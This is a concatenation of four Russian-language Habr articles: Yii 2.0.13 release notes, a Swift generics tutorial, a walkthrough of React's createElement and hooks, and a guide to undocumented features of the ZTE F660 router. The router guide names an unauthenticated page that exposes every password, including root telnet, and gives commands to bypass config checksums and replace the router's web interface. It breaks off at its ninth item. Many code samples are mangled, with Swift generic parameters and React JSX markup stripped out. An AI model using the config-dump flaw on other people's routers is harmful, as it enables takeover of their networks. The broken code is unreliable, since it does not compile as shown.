Обратите внимание, что в релиз попали изменения, которые могут повлиять на существующие приложения. Они описаны в [UPGRADE.md](https://github.com/yiisoft/yii2/blob/2.0.13/framework/UPGRADE.md).
Огромное спасибо [сообществу Yii](https://github.com/yiisoft/yii2/graphs/contributors) за поддержку и пулл-реквесты!
За процессом разработки можно следить поставив звёздочку на [GitHub](https://github.com/yiisoft/yii2). Также подписывайтесь
на [наш Twitter](https://twitter.com/yiiframework) и [Facebook](https://www.facebook.com/groups/yiitalk/).
Так как [мы работаем над Yii 2.1](https://github.com/yiisoft/yii2/tree/2.1), убедитесь что версия фреймворка в `composer.json` прописана верно (`~2.0.13`) и вы не обновитесь на 2.1 случайно когда он релизнется.
Ниже мы рассмотрим самые интересные улучшения и исправления релиза. Полный список можно найти в [CHANGELOG](https://github.com/yiisoft/yii2/blob/2.0.13/framework/CHANGELOG.md).
Шаблоны приложений
------------------
Как шаблон "basic", так и "advanced" теперь использую [asset-packagist.org](https://asset-packagist.org/) вместо Composer asset plugin.
Vagrant окружение в advanced обзавелось XDdebug-ом. Также его стало ещё проще поднять. Необходимые плагины ставятся автоматически.
В шаблон "basic" добавлен виджет `Alert` (он уже был в "advanced").
Логирование, отладка и обработка ошибок
---------------------------------------
Логирование, отладка и обработка ошибок — это то, чем мы занимаемся каждый день. Инструменты для этого должны работать как часы предоставляя как можно больше релевантной информации. В этом релизе на эту тему улучшения следующие:
* `yii\web\DbSession` теперь использует возможности обработчика ошибок для показа страницы исключения. Как оказалось, довольно часто разработчики забывали проверить объекты на существование при записи дополнительных данных в базу данных с сессиями. Отлаживать это было очень тяжело, потому как ошибки были про неудачную запись в сессию. Теперь показывается реальная причина.
* Ранее миграции можно было создавать с именами любой длины. В этой версии были введены ограничения в 180 символов, так как большая длина вызывает проблемы в некоторых СУБД. В случае превышения выбрасывается исключение.
* В логах теперь есть миллисекунды.
Кроме прочего, Carsten Brandt улучшил страницу исключения добавив несколько полезных кнопок:
Фильтры данных
--------------
Благодаря замечательной работы Павла Климова, в Yii появились фильтры данных и их интеграция в REST API. Фильтры могут быть использованы для построения сложных условий для провайдеров данных. Они отлично настраиваются и подходят как к
веб-приложениям, так и к REST API.
Документация доступна в разделе "[Filtering Data Providers using Data Filters](https://github.com/yiisoft/yii2/blob/master/docs/guide/output-data-providers.md#filtering-data-providers-using-data-filters-)".
Параллелизм
-----------
Правильное поведение при параллелизме очень важно для высоконагруженных проектов. Мы исправили несколько ошибок на эту тему. @kidol поправил обработку состояния гонки в `yii\mutex\FileMutex`. @dynasource сделал то же для публикации ассетов в
случае с использованием символических ссылок.
Контейнер Dependency Injection и его использование
--------------------------------------------------
Что поменялось:
* Добавлена поддержка переменного числа параметров в сигнатурах.
* Зависимости автоматически внедряются в конструктор миграций.
* Cookie инстанциируются через контейнер.
PHP 7.2
-------
PHP 7.2 уже близко. [Публикуются RC](http://php.net/archive/2017.php#id2017-10-26-2) и скоро будет стабильный релиз. В 7.2 есть значительные улучшения, но есть и поломка совместимости. Начиная с этого релиза Yii 2 полностью совместим с PHP 7.2.
Кроме небольших изменений есть и вынужденное большое, которое может затронуть ваши приложения. Начиная с PHP 7.2, было запрещено использование некоторых ключевых слов в названии классов, [`в том числе object`](https://wiki.php.net/rfc/object-typehint).
Использование `Object` в PHP 7.2 вызывает фатальную ошибку. В Yii есть класс `yii\base\Object`, который использовался как базовый для большинства классов фреймворка, многих расширений и приложений.
Чтобы Yii работал с PHP 7.2, мы переименовали класс. `yii\base\Object` помечен как deprecated. Используйте `yii\base\BaseObject`. Версии Yii 2 до 2.0.13 не совместимы с PHP 7.2.
Более детально необходимые приложениям изменения описаны в [UPGRADE](https://github.com/yiisoft/yii2/blob/2.0.13/framework/UPGRADE.md).
Запросы
-------
В класс `yii\web\Request` добавлен метод `getOrigin()`. Он возвращает `HTTP_ORIGIN` текущего CORS запроса.
Также появился новый фильтр `yii\filters\AjaxFilter`, позволяющий ограничить доступ к действию контроллера AJAX запросами.
Безопасность
------------
Была найдена и исправлена не критичная проблема [CVE-2017-11516](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11516) с экранированием в обработчике ошибок в режиме отладки.
Безопасность запросов повысилась за счёт [поддержки списка доверенных прокси](http://www.yiiframework.com/doc-2.0/guide-runtime-requests.html#trusted-proxies). В процессе мы убрали получение статуса HTTP/HTTPS через `X-Forwarded-Proto` по умолчанию.
Консоль
-------
В консоли появились интересные улучшения. Во-первых, класс `yii\console\ExitCode`, содержащий константы, которые можно использовать для кодов возврата консольных команд:
```
if ($this->importData()) {
return ExitCode::OK;
} else {
ExitCode::SOFTWARE;
}
```
Во-вторых, стало возможным выводить таблицы:
```
echo Table::widget([
'headers' => ['test1', 'test2', 'test3'],
'rows' => [
['col1', 'col2', 'col3'],
['col1', 'col2', ['col3-0', 'col3-1', 'col3-2']],
],
]);
```
выведет
```
╔═══════╤═══════╤══════════╗
║ test1 │ test2 │ test3 ║
╟───────┼───────┼──────────╢
║ col1 │ col2 │ col3 ║
╟───────┼───────┼──────────╢
║ col1 │ col2 │ • col3-0 ║
║ │ │ • col3-1 ║
║ │ │ • col3-2 ║
╚═══════╧═══════╧══════════╝
```
Базы данных
-----------
Сергей Макинен реализовал API для управления ограничениями:
```
$connection = Yii::$app->db;
$connection
->createCommand()
->addUnique('unique-username', 'user', 'username')
->execute();
$connection
->createCommand()
->dropUnique('unique-username', 'user')
->execute();
$connection
->createCommand()
->addCheck('check-price', 'order', 'price > 0')
->execute();
$connection
->createCommand()
->dropCheck('check-price', 'order')
->execute();
$connection
->createCommand()
->addDefaultValue('default-balance', 'account', 'balance', 0)
->execute();
$connection
->createCommand()
->dropDefaultValue('default-balance', 'account')
->execute();
```
Также можно получить различную информацию:
```
/** @var Schema $schema */
$schema = $connection->getSchema();
$fks = $schema->getTableForeignKeys('user');
foreach ($fks as $fk) {
echo $fk->onUpdate;
}
```
Интересующиеся могут [посмотреть на этот коммит](https://github.com/yiisoft/yii2/commit/e0dde88b87aa135273376aa7344cb3e597f77f67).
Интерфейсы
----------
Мы начали плавно вводить интерфейсы для некоторых компонентов. На этот раз это `yii\caching\CacheInterface`. Будут ещё как в 2.0, так и в 2.1.
Миграции
--------
Новая команда `migrate/fresh` вычищает базу и заново применят все миграции.
В класс `Migration` добавлены опции `$compact` (делает вывод более сжатым) и `$maxSqlOutputLength` (режет SQL до заданного количества символов).
Модули
------
Сервис локатор модуля стал доступен из его контроллеров как `$this->module->get('myComponent')`. Если из него не удаётся получить объект, происходят попытки получить объект из сервис локатора родительского модуля. Так как родителем всех модулей является приложение, компонент, в конечном итоге, будет искаться и в нём.
Это изменение позволят легче строить изолированные модули. При использовании `$this->module->get('myComponent')` вы автоматически получаете возможность переопределить зависимости из конфигурации модуля, но при этом полагаться на компоненты приложения.
Примеры вы можете найти в "[Accessing components from within modules](https://github.com/yiisoft/yii2/blob/master/docs/guide/structure-modules.md#accessing-components-from-within-modules)".
Хелперы
-------
В `ArrayHelper` появился метод `setValue()`. Он пишет значение в ассоциативный массив по указанному пути. Если такого пути нет, соответствующие ключи будут созданы. Если есть, то значение будет перезаписано. Поддерживаются два синтаксиса:
```
ArrayHelper::setValue($array, 'key.in', ['arr' => 'val']);
```
и
```
ArrayHelper::setValue($array, ['key', 'in'], ['arr' => 'val']);
```
Ещё один метод в релизе — `StringHelper::floatToString()`. Он конвертирует `float` в `string`, но, в отличие от нативного кастинга, всегда использует точки как разделитель целой части.
RBAC
----
`yii\rbac\DbManager::checkAccess()` перестал делать лишние запросы при получении назначений. Если вы хранили иерархию в базе, производительность после обновления, вероятно, вырастет. Также в таблицы был добавлен дополнительный индекс, что сделало сами запросы быстрее.
Совместимость с jQuery 3.0
--------------------------
Несмотря на то, что в Yii 2.1 мы пытаемся сделать фреймворк независимым от JavaScript, 2.0 завязан на jQuery. Мы обновили JS и PHP код для совместимости с jQuery 3.0.
ActiveRecord и поведения
------------------------
В `yii\db\ActiveRecordInterface` через новый `yii\base\StaticInstanceInterface` было добавлен новый метод `instance($refresh = false);`. Его назначение — предоставлять статические экземпляры классов, которые могут использоваться для получения различных
метаданных, недоступных через статические методы. Например, изменения, сделанные через DI или при помощи поведений можно сделать только на уровне объектов, но, в некоторых слуаях, было бы полезно делать их на статическом уровне класса.
Был добавлен `yii\behaviors\AttributesBehavior`. Он присваивает значения одному или нескольким атрибутам объекта ActiveRecord при определённых событиях. В отличие от `yii\behaviors\AttributeBehavior` он работает с несколькими атрибутами сразу. Как в `AttributeBehavior`, так и в `AttributesBehavior` была добавлена опция `preserveNonEmptyValues`. При выставлении в `true` она позволяет перезаписывать значения только в том случае, когда они пусты.
В `yii\behaviors\SluggableBehavior` добавлена опция `skipOnEmpty`. Включение её предотвращает генерацию нового slug-а если атрибут равен `null` или пуст.
Asset-ы
-------
Хеширование директорий ресурсов теперь учитывает символические ссылки. Тем самым, исправлена инвалидация кеша в том случае, когда после перехода от копирования к ссылкам ресурсы не обновлялись. Ранее приходилось удалять содержимое директории assets.
Компрессия и сборка ресурсов консольной командой теперь учитывает, что многие популярные библиотеки не ставят `;` в конце файла. Из этого не работали некоторые комбинации скриптов.
CSRF и кеш
----------
Добавлен метод `yii\web\View::registerCsrfMetaTags()`. Он регистрирует CSRF теги динамически, что позволяет быть уверенным, что кеширование на них не влияет.
Новые методы форматтера
-----------------------
В `Formatter` добавлены следующие методы:
* `asWeight()` форматирует число как вес, то есть "12 kilograms".
* `asShortWeight()` форматирует число как вес в короткой форме, то есть "12 kg".
* `asLength()` форматирует число как длину, то есть "12 meters".
* `asShortLength()` форматирует число как длину в короткой форме, то есть "12 m".
**UPDATE:** и [немного релизов расширений](http://www.yiiframework.com/news/150/new-extension-releases-for-authclient-httpclient-mongodb-and-sphinx/). | https://habr.com/ru/post/341614/ | null | ru | null |
# Сила дженериков в Swift. Часть 2
Добрый день, друзья. Специально для студентов курса [«iOS Разработчик. Продвинутый курс»](https://otus.pw/g6Xn/) мы подготовили перевод второй части статьи «Сила дженериков в Swift».
---
*Связанные типы, условия where, сабскрипты и прочее…*
В статье [«Сила дженериков в Swift. Часть 1»](https://habr.com/ru/company/otus/blog/462753/) описывались generic-функции, generic-типы и ограничения типа. Если вы новичок, я бы рекомендовала вам для лучшего понимания сначала прочитать первую часть.
При определении протокола иногда полезно объявить один или несколько связанных типов как часть определения. Связанный тип задает имя-заглушку для типа, который используется в качестве части протокола. Фактический тип, используемый для этого связанного типа не будет указан, пока протокол не будет использован. Связанные типы объявляются с помощью ключевого слова `associatedtype`.
Мы можем определить протокол для стека, который мы создали в [первой части](https://habr.com/ru/company/otus/blog/462753/).
```
protocol Stackable {
associatedtype Element
mutating func push(element: Element)
mutating func pop() -> Element?
func peek() throws -> Element
func isEmpty() -> Bool
func count() -> Int
subscript(i: Int) -> Element { get }
}
```
Протокол `Stackable` определяет необходимый функционал, который должен обеспечивать любой стек.
Любой тип, соответствующий протоколу `Stackable`, должен иметь возможность указывать тип значений, которые он хранит. Он должен гарантировать, что в стек добавляются только элементы правильного типа, и должно быть ясно, элементы какого типа возвращаются его сабскриптом.
Давайте изменим наш стек в соответствии с протоколом:
```
enum StackError: Error {
case Empty(message: String)
}
protocol Stackable {
associatedtype Element
mutating func push(element: Element)
mutating func pop() -> Element?
func peek() throws -> Element
func isEmpty() -> Bool
func count() -> Int
subscript(i: Int) -> Element { get }
}
public struct Stack: Stackable {
public typealias Element = T
var array: [T] = []
init(capacity: Int) {
array.reserveCapacity(capacity)
}
public mutating func push(element: T) {
array.append(element)
}
public mutating func pop() -> T? {
return array.popLast()
}
public func peek() throws -> T {
guard !isEmpty(), let lastElement = array.last else {
throw StackError.Empty(message: "Array is empty")
}
return lastElement
}
func isEmpty() -> Bool {
return array.isEmpty
}
func count() -> Int {
return array.count
}
}
extension Stack: Collection {
public func makeIterator() -> AnyIterator {
var curr = self
return AnyIterator { curr.pop() }
}
public subscript(i: Int) -> T {
return array[i]
}
public var startIndex: Int {
return array.startIndex
}
public var endIndex: Int {
return array.endIndex
}
public func index(after i: Int) -> Int {
return array.index(after: i)
}
}
extension Stack: CustomStringConvertible {
public var description: String {
let header = "\*\*\*Stack Operations start\*\*\* "
let footer = " \*\*\*Stack Operation end\*\*\*"
let elements = array.map{ "\($0)" }.joined(separator: "\n")
return header + elements + footer
}
}
var stack = Stack(capacity: 10)
stack.push(element: 1)
stack.pop()
stack.push(element: 3)
stack.push(element: 4)
print(stack)
```
### Расширение существующего типа для указания связанного типа
Вы можете расширить существующий тип, чтобы обеспечить соответствие протоколу.
```
protocol Container {
associatedtype Item
mutating func append(_ item: Item)
var count: Int { get }
subscript(i: Int) -> Item { get }
}
extension Array: Container {}
```
### Добавление ограничений в связанный тип:
Вы можете добавить ограничения к связанному типу в протоколе для гарантии соответствия связанных типов этим ограничениям.
Давайте изменим протокол `Stackable`.
```
protocol Stackable {
associatedtype Element: Equatable
mutating func push(element: Element)
mutating func pop() -> Element?
func peek() throws -> Element
func isEmpty() -> Bool
func count() -> Int
subscript(i: Int) -> Element { get }
}
```
Теперь тип элемента стека должен соответствовать `Equatable`, иначе произойдет ошибка времени компиляции.
### Рекурсивные ограничения протокола:
Протокол может являться частью собственных требований.
```
protocol SuffixableContainer: Container {
associatedtype Suffix: SuffixableContainer where Suffix.Item == Item
func suffix(_ size: Int) -> Suffix
}
```
`Suffix` имеет два ограничения: он должен соответствовать протоколу `SuffixableContainer` (здесь определяется протокол), а его тип `Item` должен совпадать с типом `Item` контейнера.
В стандартной библиотеке Swift в `Protocol Sequence` есть хороший пример, иллюстрирующий эту тему.
Предложение об ограничениях рекурсивного протокола: <https://github.com/apple/swift-evolution/blob/master/proposals/0157-recursive-protocol-constraints.md>
### Расширения Generic-типа:
> Когда вы расширяете generic-тип, вы не описываете список параметров типа при определении расширения. Вместо этого список параметров типа из исходного определения доступен в теле расширения, а имена параметров исходного типа используются для ссылки на параметры типа из исходного определения.
```
extension Stack {
var topItem: Element? {
return items.isEmpty ? nil : items[items.count - 1]
}
}
```
### Generic-условие where
Для связанных типов бывает полезно определить требования. Требование описывается *generic-условием where*. Generic-условие `where` позволяет вам требовать, чтобы связанный тип соответствовал определенному протоколу или чтобы определенные параметры типа и связанные типы были одинаковыми. Generic-условие `where` начинается с ключевого слова `where`, за которым следуют ограничения для связанных типов или отношения равенства между типами и связанными типами. Generic-условие `where` пишется прямо перед открывающей фигурной скобкой тела типа или функции.
```
func allItemsMatch
(\_ someContainer: C1, \_ anotherContainer: C2) -> Bool
where C1.Item == C2.Item, C1.Item: Equatable {
}
```
### Расширения с Generic-условиями where
Вы можете использовать generic-условие `where` как часть расширения. Приведенный ниже пример расширяет общую структуру `Stack` из предыдущих примеров, с помощью добавления метода `isTop (_ :)`.
```
extension Stack where Element: Equatable {
func isTop(_ item: Element) -> Bool {
guard let topItem = items.last else {
return false
}
return topItem == item
}
}
```
Расширение добавляет метод `isTop (_ :)` только тогда, когда элементы в стеке поддерживают Equatable. Также вы можете использовать generic-условие `where` с расширениями протокола. К условию `where` можно добавить несколько требований, разделив их запятой.
### Связанные типы с Generic-условием where:
Вы можете включить generic-условие `where` в связанный тип.
```
protocol Container {
associatedtype Item
mutating func append(_ item: Item)
var count: Int { get }
subscript(i: Int) -> Item { get }
associatedtype Iterator: IteratorProtocol where Iterator.Element == Item
func makeIterator() -> Iterator
}
```
Для протокола, который наследуется от другого протокола, вы добавляете ограничение к унаследованному связанному типу, включая generic-условие `where` в объявление протокола. Например, следующий код объявляет протокол `ComparableContainer`, который требует, чтобы `Item` поддерживал `Comparable`:
```
protocol ComparableContainer: Container where Item: Comparable { }
```
### Дженерик алиасы типов:
Алиас типов может иметь общие параметры. Он все еще будет оставаться псевдонимом (то есть он не будет вводить новый тип).
```
typealias StringDictionary = Dictionary
var d1 = StringDictionary()
var d2: Dictionary = d1 // okay: d1 and d2 have the same type, Dictionary
typealias DictionaryOfStrings = Dictionary
typealias IntFunction = (T) -> Int
typealias Vec3 = (T, T, T)
typealias BackwardTriple = (T3, T2, T1)
```
В данном механизме нельзя использовать дополнительные ограничения к параметрам типа.
Такой код не заработает:
```
typealias ComparableArray = Array
```
### Generic-сабскрипты
Сабскрипты могут использовать механизм дженериков и включать generic-условие `where`. Вы пишете имя типа в угловых скобках после `subscript`, и пишете generic-условие `where` непосредственно перед открывающей фигурной скобкой тела сабскрипта.
```
extension Container {
subscript(indices: Indices) -> [Item]
where Indices.Iterator.Element == Int {
var result = [Item]()
for index in indices {
result.append(self[index])
}
return result
}
}
```
### Специализация дженериков
Специализация дженериков означает, что компилятор клонирует универсальный тип или функцию, такую как Stack `<`T`>`, для конкретного типа параметра, такого как Int. Эта специализированная функция может быть затем оптимизирована специально для Int, при этом все лишнее будет удалено. Процесс замены параметров типа аргументами типа во время компиляции называется **специализацией**.
Специализируя generic-функцию для этих типов, мы можем исключить затраты на виртуальную диспетчеризацию, инлайн вызовы, когда это необходимо, и устранить накладные расходы дженерик системы.
### Перегрузка оператора
Generic-типы по умолчанию не работают с операторами, для этого вам нужен протокол.
```
func ==(lhs: Matrix, rhs: Matrix) -> Bool {
return lhs.array == rhs.array
}
```
### Интересная вещь о дженериках
Почему вы не можете определить *статическое* хранимое свойство для универсального типа?
Это потребует отдельного хранения свойств для каждой отдельной специализации дженерика (T).
Ресурсы для углубленного изучения:
----------------------------------
<https://github.com/apple/swift/blob/master/docs/Generics.rst>
<https://github.com/apple/swift/blob/master/docs/GenericsManifesto.md>
<https://developer.apple.com/videos/play/wwdc2018/406/>
<https://www.youtube.com/watch?v=ctS8FzqcRug>
<https://medium.com/@vhart/protocols-generics-and-existential-containers-wait-what-e2e698262ab1>
На этом все. До встречи на [курсе](https://otus.pw/g6Xn/). | https://habr.com/ru/post/463789/ | null | ru | null |
# Как устроен ReactJS. Пакет React
Большинство людей, работающих во фронтенде, так или иначе сталкивались с реактом. Это JavaScript библиотека, помогающая создавать крутые интерфейсы, в последние годы набрала огромную популярность. При этом, не так много людей знает, как она работает внутри.
В этой серии статей мы почитаем код и попробуем разобраться за что отвечают пакеты, которые лежат у реакта под капотом, для чего они используются и как они работают. Самые основные, которые мы используем в браузере, – это `react`, `react-dom`, `events` и `react-reconciler`.
Будем двигаться по порядку и сегодня у нас статья про пакет `react`. Кому интересно, что же есть в этом пакете, – заходите под кат.
В первую очередь, сделаем небольшой пример, на основе которого будем рассматривать этот пакет. Наше мини-приложение будет выглядеть так:
```
function App() {
const [text, changeText] = React.useState('Initial');
return (
{text}
changeText(e.target.value)}
/>
);
}
ReactDOM.render(
,
document.getElementById('root')
) ;
```
Давайте разберём быстренько этот кусок кода. Здесь мы видим вызов хука через `React.useState('Initial')`, немного JSX и вызов метода render, чтобы всё это попало на страницу.
На самом деле, как многие знают, это не финальный код, который обрабатывает браузер. Перед тем, как он попадёт на выполнение, он транспайлится, например, бабелем. В этом случае то, что возвращает функция, превратится в следующее:
```
return React.createElement(
"div",
{
className: "app"
},
React.createElement("span", null, text),
React.createElement("input", {
type: "text",
value: text,
onInput: function onInput(e) {
return changeText(e.target.value);
}
})
);
```
Кому интересно поэкспериментировать и посмотреть, во что превращает ваш код бабель – [babel repl](https://babeljs.io/repl#?babili=false&browsers=&build=&builtIns=false&spec=false&loose=false&code_lz=Q&debug=false&forceAllTransforms=false&shippedProposals=false&circleciRepo=&evaluate=false&fileSize=false&timeTravel=false&sourceType=module&lineWrap=true&presets=es2015%2Creact%2Cstage-2&prettier=true&targets=&version=7.4.3&externalPlugins=).
### React.createElement
Итак, мы получили множество вызовов `React.createElement()` и время посмотреть что же делает эта функция. Опишем на словах (а можно и в файл заглянуть – [ReactElement.js](https://github.com/facebook/react/blob/745baf2e061bdb7a07b511fa6fd8c1c5e8106313/packages/react/src/ReactElement.js)).
В первую очередь она проверяет есть ли у нас пропсы (в коде объект с пропсами, который мы передали, называется `config`).
Далее проверяем, есть ли у нас `key` и `ref` пропсы, которые не `undefined`, и сохраняем их, если есть.
```
if (hasValidKey(config)) {
key = '' + config.key;
}
```
Интересный момент, что `config.key` приводится к строке, а значит в качестве ключа вы можете передавать любой тип данных, главное, чтобы он реализовывал метод `.toString()` или `.valueOf()` и возвращал уникальное для конкретного набора значение.
Далее идут следующие шаги:
* копируем пропсы, которые передали элементу;
* добавляем туда поле `children`, если мы их передавали не пропсом, а как вложенным элементом;
* ставим дефолтные значения из `defaultProps` для тех свойств, которые мы не определили ранее.
Когда мы подготовили все данные, мы вызываем внутреннюю функцию, которая создаёт объект, описывающий наш компонент. Выглядит этот объект следующим образом:
```
{
// This tag allows us to uniquely identify this as a React Element
$$typeof: REACT_ELEMENT_TYPE, // Symbol
// Built-in properties that belong on the element
type: type,
key: key,
ref: ref,
props: props,
// Record the component responsible for creating this element.
_owner: owner,
}
```
Здесь у нас есть свойство `$$typeof`, которое является символом, поэтому подсунуть абы какой объект у нас не выйдет.
В свойстве `type` хранится тип создаваемого элемента. В случае нашего примера это будет функция `App()` и строки `'div'`, `'span'` и `'input'`.
Свойство `key` будет содержать тот самый ключ, из-за которого прилетают варнинги в консоль.
Пропсы будут содержать то, что мы передали, `children` и то, что было указано в `defaultProps`. Свойство `_owner` необходимо для корректной работы с `ref`.
Если переводить на наш пример, то результат `React.createElement(App, null)` выглядить это будет так:
```
{
$$typeof: REACT_ELEMENT_TYPE,
type: App,
key: null,
ref: null,
props: {},
_owner: null,
}
```
Кроме того, в дев режиме у нас появится дополнительное поле, которое будет использоваться для отображения красивого стека с именем файла и строкой:
```
_source: {
fileName: "/Users/appleseed/react-example/src/index.js",
lineNumber: 7
}
```
Подведём маленький итог из того, что мы увидели выше. Пакет `react` выступает переводчиком между нами и остальными пакетами, которые работают далее над нашим приложением, переводя наши вызовы в слова, понятные, например, реконсайлеру.
### React.useState
В версии реакта 16.8 появились хуки. Что это такое и как этим пользоваться можно прочитать по [ссылке](https://reactjs.org/docs/hooks-intro.html), а мы сейчас взглянем на то, что лежит в пакете `react`.
На самом деле, говорить много тут не придётся. По сути, пакет является фасадом, через который наши вызовы идут к внутренним сущностям.
Так, `useState` — это ни что иное, как две строчки кода:
```
export function useState~~(initialState: (() => S) | S) {
const dispatcher = resolveDispatcher();
return dispatcher.useState(initialState);
}~~
```
Остальные хуки выглядят практически идентично. Здесь мы получаем текущий диспатчер, который является объектом и содержит в себе поля, например `useState`. Этот диспатчер меняется в зависимости от того первый у нас сейчас рендер или мы просто хотим обновить компонент.
Реальная реализация хуков хранится в пакете `react-reconciler`, о котором мы будем говорить в одной из следующих статей.
### Что дальше
Ещё одна вещь. Прочитав эту статью, можно понять зачем мы всегда импортируем пакет реакт, даже если напрямую его не используем. Это нужно для того, чтобы после переваривания бабелем нашего jsx, у нас была переменная `React`.
Ребята из команды реакт озаботились этим (и не только этим) и сейчас работают над заменой `createElement`.
Пытаясь объяснить в двух словах: есть желание заменить текущий метод создания элементов на два – `jsx` и `jsxs`. Это нужно по нескольким причинам:
* мы обсуждали выше, как работает `createElement`. Он постоянно копирует пропсы и добавляет в объект поле `children`, в которое сохраняет детей, которых мы передали в качестве аргументов функции (3 аргумент и далее). Сейчас предлагается делать это на этапе конвертации `jsx` в `javascript` вызовы, потому что создание элемента – это часто вызываемая функция и выполнять каждый раз модификацию пропсов в рантайме не бесплатно;
* можно избавиться от импортирования объекта `React` и импортить только конкретные функции (`import { jsx } from 'react'`, например) и, соответственно, иметь возможность не добавлять в сборку то, что нами не используется. Помимо этого, не придётся каждый раз резолвить поле `createElement` у объекта `React`, потому что это тоже не бесплатно;
* мы обсуждали выше, что у нас есть специальный кейс, когда мы вытаскиваем из пропсов `key` и пробрасываем его далее. Сейчас предлагается на этапе транспайлинга брать `key` из `jsx` и передавать его третим параметром в функцию создания элемента.
Почитать подробнее можно [здесь](https://github.com/reactjs/rfcs/blob/3416f0de38ee120f6d9dac7f7c9405b77cf37bdc/text/0000-create-element-changes.md). В пакете `react` уже сейчас есть методы `jsx` и `jsxs`. Если хочется с этим поиграться, то можно склонировать репозиторий реакта, в файле `ReactFeatureFlags.js` пакета `shared` установить флагу `enableJSXTransformAPI` значение `true` и собрать свою версию реакта (`yarn build`) с включенным новым API.
### Финал
На этом я закончу сегодняшний рассказ про пакет `react` и в следующий раз поговорим про то, как пакет `react-dom` использует то, что создаёт `react`, и какие методы и как он реализует.
Спасибо, что дочитали до конца! | https://habr.com/ru/post/448122/ | null | ru | null |
# Недокументированные возможности оптического терминала ZTE ZXHN F660 от МГТС
По результатам собственных изысканий родилась идея набросать небольшой Q&A по работе с некоторыми недокументированными функциями оптического терминала ZTE ZXHN F660, устанавливаемого сейчас в квартиры фирмой МГТС.
Статья расcчитана на начинающих, которые, тем не менее, уже ознакомились с Web-интерфейсом управления терминалом и знают, как делать в нем базовые вещи: смена пароля, активация SAMBA, проброс портов, настройка WLAN, настройка фильтрации, и т.д. В ней мы не будем рассматривать смену прошивки или «отвязку» от провайдера – все вещи, связанные с удаленным обновлением, настройкой VOIP, и т.д. трогать крайне не рекомендую. Оставьте провайдеру возможность выполнять свою работу и обслуживать свое устройство (оно его, а не ваше, если помните договор).
#### 1. Есть ли уязвимость в WPS?
Для начала хочу успокоить тех, кто в интернете наткнулся на информацию о страшной дыре в безопасности WiFi-сетей – уязвимости в WPS. Это имело место быть в ранних прошивках ZXVA, но сейчас WPS не активен по умолчанию, так что бояться нечего.
#### 2. Есть ли уязвимость в Web-интерфейсе настроек?
А вот она никуда не делась, хоть и писали о ней давно. Зайдя из внутренней сети по адресу [192.168.1.1/manager\_dev\_config\_t.gch](http://192.168.1.1/manager_dev_config_t.gch) и нажав на кнопку “Backup Configuration” (если у вас стоит русский язык по умолчанию, то это – верхняя кнопка, просто название неправильно перевели) ЛЮБОЙ пользователь (без авторизации!) получит XML-файл со всеми настройками, включая ВСЕ пароли ко ВСЕМ интерфейсам (включая пользователя mgts к веб-интерфейсу и root к telnet). Таким образом, пуская кого-либо в свою внутреннюю сеть, вы заодно даете ему потенциальную возможность полного управления ею.
#### 3. Как загрузить свой файл настроек?
При попытке загрузить измененный вручную XML-файл настроек, F660, не будь дурак, проверяет контрольную сумму и отвергает измененные файлы. Но есть возможность отредактировать сам файл-источник:
— штатно включаем SAMBA в web-интерфейсе
— заходим по telnet с полученным из п.2 логином и паролем
— выполняем:
```
mkdir /mnt/config
mount –o bind /userconfig/cfg /mnt/config
```
— заходим проводником на \\192.168.1.1\samba\config
— редактируем (хотя бы «Блокнотом») файл db\_user\_cfg.xml (другие файлы не трогаем!)
— после сохранения файла перезагружаем F660.
— на случай порчи этого файла у вас есть лежащий там же файл db\_backup\_cfg.xml, ну и ещё кнопка Reset, которая запишет в него default-настройки.
#### 4. Как сменить пароль к telnet?
В файле настроек (п.3) меняем параметр «TS\_UPwd».
#### 5. Как активировать FTP-доступ?
В файле настроек (п.3) меняем флаг «FtpEnable» на «1». Заодно выставляем в «1» параметр «FtpAnon» или редактируем логины/пароли раздела «FTPUser».
#### 6. Как превратить F660 в простой локальный Web-сервер?
Допустим, на флешке у вас есть подготовленная структура сайта со стартовым INDEX.HTM в корне.
— переименовываем INDEX.HTM в setlang.gch
— вставляем флешку в F660
— заходим по telnet с полученным из п.2 логином и паролем
— выполняем:
```
mount –o bind /mnt/usb1_1 /home/httpd
```
— видим новое содержимое по адресу [192.168.1.1](http://192.168.1.1)
— это работает только до очередной перезагрузки
#### 7. Как сделать эти FTP- и/или Web-сервер доступными из Интернета?
Если мы говорим про стандартный порт (21 для FTP и 80 для HTTP соответственно) и провайдера МГТС (предполагаем, что статический IP не куплен, но мы умеем обращаться к своему временному внешнему IP – с помощью dyndns, например) – то никак. МГТС режет входящие соединения по наиболее популярным портам (как минимум по 21,23,80,443,8080) ещё на своей стороне, так что повлиять на это мы не можем.
Если же вы готовы обращаться извне к нестандартному порту, то просто штатно прописываете port mapping c какого-нибудь 5-значного внешнего порта на внутренний 21 (и/или 80) и в качестве адреса внутреннего компьютера указываете 192.168.1.1. **НО! Делать это категорически не рекомендуется**, т.к. вы оставляете свой бедный терминал один на один с жестоким внешним миром: FTP – протокол без шифрации, а значит любой сможет перехватить логин/пароль доступа к нему, про Web-сервер помним, что после перезагрузки он превращается в ~~тыкву~~ интерфейс настроек, открытый для всех (см п.2), наконец, нас просто легко заDOSить, все-таки F660 — железка слабая в сравнении с полноценным сервером.
#### 8. Как заблокировать Web-интерфейс терминала, раз в нем есть уязвимость?
Из внешней сети доступа и так нет. Если пытаемся защититься от гостей, допущенных во внутреннюю сеть, то вариантов 2:
— Постоянный: Штатным механизмом «Services Control». К сожалению, он не умеет различать доступ по WiFi и по Ethernet, а блокировать только диапазон IP, оставляя доступ со «своих» адресов — ненадежно (т.к. подменить IP легче легкого), поэтому блокируем Web со ВСЕХ адресов. Но учтите, что при этом вы лишаетесь Web-интерфейса управления терминалом, и снять такую блокировку получится только сбросив настройки кнопкой Reset или ручным редактированием db\_user\_cfg.xml (поэтому не надо заодно блокировать и telnet, достаточно пароль ему сменить).
— Временный. Замещаем web-интерфейс по аналогии с п.6, но флешка уже не нужна: можем создать папку где-нибудь в /userconfig (он не стирается при перезагрузке терминала), поместить в неё файл setlang.gch с содержимым вроде:
```
Здесь ничего нет
```
и смонтировать её на место /home/httpd. Работает это лишь до следующей перезагрузки.
Если нужно вернуть web-интерфейс управления без перезагрузки, выполняем
```
umount /home/httpd
```
#### 9. Как сделать массовую фильтрацию DNS-имен по файлу hosts?
